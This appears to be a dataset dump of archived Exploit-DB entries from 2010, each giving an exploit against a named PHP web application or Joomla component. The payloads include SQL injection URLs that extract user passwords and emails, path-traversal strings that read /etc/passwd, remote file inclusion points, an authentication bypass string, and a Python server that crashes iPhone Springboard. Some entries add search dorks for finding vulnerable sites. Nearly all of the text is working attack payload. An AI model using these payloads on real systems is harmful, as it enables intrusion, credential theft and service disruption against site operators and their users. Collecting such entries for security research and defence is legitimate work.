QLWD/code_shield huggingface dataset:
标题: Pay Per Watch & Bid Auktions System - 'auktion.php?id_auk' Blind SQL Injection EDB-ID: 11816 CVE: 2010-1855 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-20 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : Pay Per Watch & Bid Auktions System BLIND SQL Injection auktion.php (id_auk)
+Autor : Easy Laster
+Date   : 20.03.2010
+Script  : Pay Per Watch & Bid Auktions System
+Price : 319.90 €
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/auktion/auktion.php?id_auk=

#password
+Exploitable   : http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii
(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1


#username
+Exploitable
http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii
(substring((SELECT vorname FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1
---------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11816
标题: phpscripte24 Niedrig Gebote Pro Auktions System II - Blind SQL Injection EDB-ID: 11805 CVE: 2010-1270 2010-1269 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-18 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : phpscripte24 Niedrig Gebote Pro Auktions System II Blind SQL Injection auktion.php
+Autor : Easy Laster
+Date   : 18.03.2010
+Script  : phpscripte24 Niedrig Gebote Pro Auktions System II
+Download : ------------------
+Price : &#65533; 499.90
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------

 ___ ___ ___ ___                         _ _           _____           _         _
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/auktion/auktion.php?id_auk=

#Password
+Exploitable   : http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii
(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1

#Username
http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii
(substring((SELECT vorname FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1


---------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11805
标题: Joomla! Component com_ckforms - Multiple Vulnerabilities EDB-ID: 11785 CVE: 2010-1345 2010-1344 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-17 漏洞利用脚本: ####################################################################
>>>>> Author : altbta [l_9@hotmail.com<mailto:l_9@hotmail.com>]
>>>>> Home : www.v4-team.com/cc<http://www.v4-team.com/cc>
>>>>> Script : Joomla Component com_ckforms
>>>>> Bug Type : Multiple Vulnerabilities
>>>>> Dork : inurl:"com_ckforms"

####################################################################

===[ Exploit ]=== [LFI]

http://site/index.php?option=com_ckforms&controller=[LFI]

===[ Exploit ]=== [sql]

http://site/index.php?option=com_ckforms&controller=ckdata&view=ckformsdata&layout=detail&task=detail&fid=2[sql]

####################################################################
RxH & ab0-3th4b URL: https://www.exploit-db.com/exploits/11785
标题: iPhone Springboard - Malformed Character Crash (PoC) EDB-ID: 11769 CVE: 2010-1226 类型: DOS 平台: HARDWARE 发布日期: 2010-03-15 漏洞利用脚本: #!/usr/bin/python

#iPhone Springboard crash PoC by Chase Higgins. Devices tested: iPhone 2G @ OS 3.1, iPhone 3GS @ 3.1.3
#this script acts as webserver, and causes Safari, as well as Mail and Springboard to crash
#all these apps crash after running this exploit on the iPhone. Unable to debug any of these processes as the gdb on my 
#device is acting up, original iPhone is just too low memory to further test this exploit, so I am releasing it

# Exploit Title: iPhone Springboard Malformed Character Crash PoC
# Date: 3/15/2010
# Author: Chase Higgins
# Software Link: apple.com/iphone/
# Version: iPhone 2G, iPhone 3GS
# Tested on: iPhone OS 3.1, and iPhone OS 3.1.3
# CVE : 
# Code : none

import sys, socket;

def main():
 html = """
 <html>
 <head>
 <script>
 function triggerCrash(){
  evil_div = document.getElementById('evilDiv');
  var evil_string = "\x4e\x5b\x01";
  i = 0;

  while (i < 1000){
   evil_string = evil_string + evil_string;
  }

  evil_div.innerHTML = evil_string;
 }
 </script>
 </head>
 <body onLoad="triggerCrash()">
 <div id="evilDiv">
  
 </div>
 </body>
 </html>
 """;

 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
 s.bind(('',2121));
 s.listen(1);
 
 while True:
  channel, details = s.accept();
  print channel.recv(1024);
  channel.send(html);
  channel.close();
 
main(); URL: https://www.exploit-db.com/exploits/11769
标题: phpscripte24 Auktionshaus Community Standart System - Blind SQL Injection EDB-ID: 11776 CVE: 2010-1270 2010-1269 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-16 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : phpscripte24 Auktionshaus Community Standart System Blind SQL Injection
+Autor : Easy Laster
+Date   : 16.03.2010
+Script  : phpscripte24 Auktionshaus Community Standart System
+Price : € 139.99
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://server/auktion/auktion.php?id_auk=

#password md5
+Exploitable   : http://server/auktion/auktion.php?id_auk=1+and+1=1+and+ascii
(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1

----------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11776
标题: Short URL 1.01 - Local File Inclusion EDB-ID: 11775 CVE: 2010-1060 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-16 漏洞利用脚本: #################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Short URL
# Version: 1.01
# Vendor: http://www.phpkobo.com/short_url.php
#################################################################
# Vulnerability Info:
# Type: Local File Inclusion
# Risk: Medium
#################################################################
Vulnerability:
http://site.com/staff/app/common.inc.php?LANG_CODE=../../../../../../../etc/passwd%00
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran[at]yahoo.com
################################################################### URL: https://www.exploit-db.com/exploits/11775
标题: Free Real Estate Contact Form 1.09 - Local File Inclusion EDB-ID: 11773 CVE: 2010-1062 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-16 漏洞利用脚本: #################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Free Real Estate Contact Form
# Version: 1.09
# Vendor: http://www.phpkobo.com/realestate_contact.php
#################################################################
# Vulnerability Info:
# Type: Local File Inclusion
# Risk: Medium
#################################################################
Vulnerability:
http://site.com/codelib/sys/common.inc.php?LANG_CODE=../../../../../../../etc/passwd%00
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran[at]yahoo.com
################################################################### URL: https://www.exploit-db.com/exploits/11773
标题: Joomla! Component com_rokdownloads - Local File Inclusion EDB-ID: 11760 CVE: 2010-1056 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-15 漏洞利用脚本: ####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : Joomla Component com_rokdownloads
.:. Bug Type : Local File Inclusion [LFI]
.:. Dork : inurl:"com_rokdownloads"

####################################################################

===[ Exploit ]===

www.site.com/index.php?option=com_rokdownloads&controller=[LFI]
www.site.com/index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00

#################################################################### URL: https://www.exploit-db.com/exploits/11760
标题: osDate 2.1.9 - Remote File Inclusion EDB-ID: 11755 CVE: 2010-1055 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-15 漏洞利用脚本: ========================================================================================
[o] osDate Remote File Inclusion Vulnerabilities
Software : osDate dating and matchmaking script version 2.1.9 [mostly affected]
Vendor   : http://www.tufat.com/
Download : http://www.tufat.com/s_free_dating_system.htm
Author   : NoGe
Contact  : noge[dot]code[at]gmail[dot]com
Blog     : http://evilc0de.blogspot.com/
========================================================================================
[o] Vulnerable file
include_once($config['forum_installed'] . "_forum.php");
 forum/adminLogin.php
 forum/userLogin.php
[o] Exploit
       http://localhost/[path]/forum/adminLogin.php?config[forum_installed]=[evilc0de]
       http://localhost/[path]/forum/userLogin.php?config[forum_installed]=[evilc0de]
[o] Dork
       cari ndiri yee.. gampang koq dork na.. :p
========================================================================================
[o] Greetz
       Vrs-hCk OoN_BoY Paman zxvf Angela Zhang aJe martfella
       H312Y yooogy mousekill }^-^{ noname s4va stardustmemory
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke
======================================================================================== URL: https://www.exploit-db.com/exploits/11755
标题: Address Book Script 1.09 - Local File Inclusion EDB-ID: 11754 CVE: 2010-1058 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-15 漏洞利用脚本: #################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Address Book Script
# Version: 1.9
# Vendor: http://www.phpkobo.com/address_book.php
#################################################################
# Vulnerability Info:
# Type: Local File Inclusion
# Risk: Medium
#################################################################
Vulnerability:
http://site.com/codelib/cfg/common.inc.php?LANG_CODE=../../../../../../etc/passwd%00

#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran[at]yahoo.com
################################################################### URL: https://www.exploit-db.com/exploits/11754
标题: Joomla! Component com_janews - Local File Inclusion EDB-ID: 11757 CVE: 2010-1219 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-15 漏洞利用脚本: ####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : Joomla Component com_janews
.:. Bug Type : Local File Inclusion [LFI]
.:. Dork : inurl:"com_janews"

####################################################################

===[ Exploit ]===

www.site.com/index.php?option=com_janews&controller=[LFI]
www.site.com/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00

#################################################################### URL: https://www.exploit-db.com/exploits/11757
标题: PhpMyLogon 2.0 - SQL Injection EDB-ID: 11737 CVE: 2010-0970 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-14 漏洞利用脚本: # Exploit Title: PhpMyLogon SQL Injection
# Date: March 14, 2010
# Author: Blake
# Software Link: http://sourceforge.net/projects/phpmylogon/files/PhpMyLogon/PhpMyLogon%202/phpmylogon2.zip/download
# Version: 2
# Tested on: Windows XP SP3


Proof of Concept:
Enter the following for the username to login as the first user:
blake'  or '1'='1' #
and anything for the password.

Vulnerable Code:
        if(isset($_POST['submit'])) {
            if($_POST['username'] != "" AND $_POST['password'] != "") {
                // Check submitted data with data in database
                $sql = "SELECT id,username,password,cookie_pass,actcode,rank FROM `".$settings['db_table']."` WHERE username = '".$_POST['username']."' LIMIT 1";
                $query = mysql_query($sql); URL: https://www.exploit-db.com/exploits/11737
标题: Joomla! Component com_gcalendar Suite 2.1.5 - Local File Inclusion EDB-ID: 11738 CVE: 2010-0972 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-15 漏洞利用脚本: Joomla component GCalendar Suite 2.1.5 Local File Include
Version     : 2.1.5
Author      : jdc
Download : 
http://g4j.laoneo.net/content/extensions/download/doc_details/28-gcalendar-suite-215.html

http://site/index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00

jdc 2010 URL: https://www.exploit-db.com/exploits/11738
标题: DZCP (deV!L`z Clanportal) 1.5.2 - Remote File Inclusion EDB-ID: 11735 CVE: 2010-0966 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-14 漏洞利用脚本: [+]  deV!L`z Clanportal 1.5.2 Remote File Include Vulnerability
[+] Discovered By: cr4wl3r
[+] Download: http://www.dzcp.de/downloads/?action=download&id=131
[x] Code in [dzcp1.5.2/inc/config.php]

## REQUIRES ##
require_once($basePath."/inc/mysql.php");  <--- RFI

function show($tpl, $array)
{
  global $tmpdir;
    $template = "../inc/_templates_/".$tmpdir."/".$tpl;
  
    if($fp = @fopen($template.".".html, "r"))
      $tpl = @fread($fp, filesize($template.".".html));
    
    $array['dir'] = '../inc/_templates_/'.$tmpdir;
    foreach($array as $value => $code)
    {
      $tpl = str_replace('['.$value.']', $code, $tpl);
    }
  return $tpl;
}

[+] PoC: [path]/inc/config.php?basePath=[Shell]

[+] Solution: Change php.ini and set allow_url_fopen to Off URL: https://www.exploit-db.com/exploits/11735
标题: PHPpool media Domain Verkaufs und Auktions Portal - 'index.php' SQL Injection EDB-ID: 11733 CVE: 2010-0973 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-14 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : phppool media Domain Verkaufs und Auktions Portal index.php SQL Injection
+Autor : Easy Laster
+Date   : 14.03.2010
+Script  : phppool Domain Verkaufs und Auktions Portal

+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/portal/index.php?a=d&id=
+Exploitable   : http://www.site.com/portal/index.php?a=d&id=-11111111111+union+select
+1,2,concat(firstname,0x3a,password,0x3a,email),4,5,6,7,8,9,10,11+from+dsp_buyers--
----------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11733
标题: Ad Board Script 1.01 - Local File Inclusion EDB-ID: 11722 CVE: 2010-1057 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-13 漏洞利用脚本: hi

-------

#########################local file include#################
Author: ItSecTeam

download from:http://www.phpkobo.com/scripts/AF201_101/AF201_101.zip

script:Ad Board Script

Version:1.01

Updated:2010-01-10

dork::D
##########################################

vul:/path/web/codelib/cfg/common.inc.php line 21:

require( "res.{$LANG_CODE}.sys.inc.php" );

-----------------------------------------

xpl:/path/web/codelib/cfg/common.inc.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00

xpl:/path/web/codelib/sys/common.inc.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00

xpl:/path/web/staff/common.inc.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00

xpl:/path/web/staff/file.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00

xpl:/path/web/staff/app/common.inc.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00

########################

discovered by ahmadbady

######################## URL: https://www.exploit-db.com/exploits/11722
标题: GeekHelps ADMP 1.01 - Multiple Vulnerabilities EDB-ID: 11721 CVE: 2010-0968 2010-0967 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-13 漏洞利用脚本: #########################local file include / sql injection#################
Author: ItSecTeam

download from:http://geekhelps.net/download.php

script:ADMP

remote:yes

dork::D
*********************lfi*******************
vul1:/path/themes/colorvoid/footer.php
include("./themes/$style/info.php"); ?> line 3

vuls:themes/default-green/footer.php
themes/default-orange/footer.php
themes/default/footer.php

include("./themes/$style/info.php"); ?> line 4
--------------------------------------------

xpl lfi:/path/themes/colorvoid/footer.php?style=[lfi]%00
xpl lfi:/path/themes/default-green/footer.php ?style=[lfi]%00

xpl lfi:/path/themes/default-orange/footer.php?style=[lfi]%00
xpl lfi:/path/themes/default/footer.php?style=[lfi]%00

xpl sql:/path/bannershow.php?click=' sql injection code

########################

discovered by ahmadbady

######################## URL: https://www.exploit-db.com/exploits/11721
标题: systemsoftware Community Black - 'index.php' SQL Injection EDB-ID: 11715 CVE: 2010-1341 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-13 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : systemsoftware Community Black index.php SQL Injection
+Autor : Easy Laster
+Date   : 13.03.2010
+Script  : systemsoftware Community Black
+Download : ----------------
+Price : 129.00 €
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/community/index.php?d=list1&q=&kat=1&s_flaeche=

+Exploitable   : http://www.site.com/community/index.php?d=list1&q=&kat=1&s_flaeche=
-9999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,concat(username
,0x3a,passwort,0x3a,email),21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40
,41,42,43+from+user+where+id=1--

----------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11715
标题: Eros Erotik Webkatalog - 'start.php?id' SQL Injection EDB-ID: 11689 CVE: 2010-0964 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-11 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : Eros Erotik Webkatalog start.php (rubrik&id)SQL Injection
+Autor : Easy Laster
+Date   : 11.03.2010
+Script  : Eros Erotik Webkatalog
+Price : 07,13€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/webkatalog/start.php?go=rubrik&id=
+Exploitable   : www.site.com/webkatalog/start.php?go=rubrik&id=-1+union+select+1,2,3,4,
5,6,7,8,9,concat(id,0x3a,vorname,0x3a,passwort,0x3,mail),11,12,13,14,15+from+php005_4_eintrag--
                                                                           ^^"table name"^^
----------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11689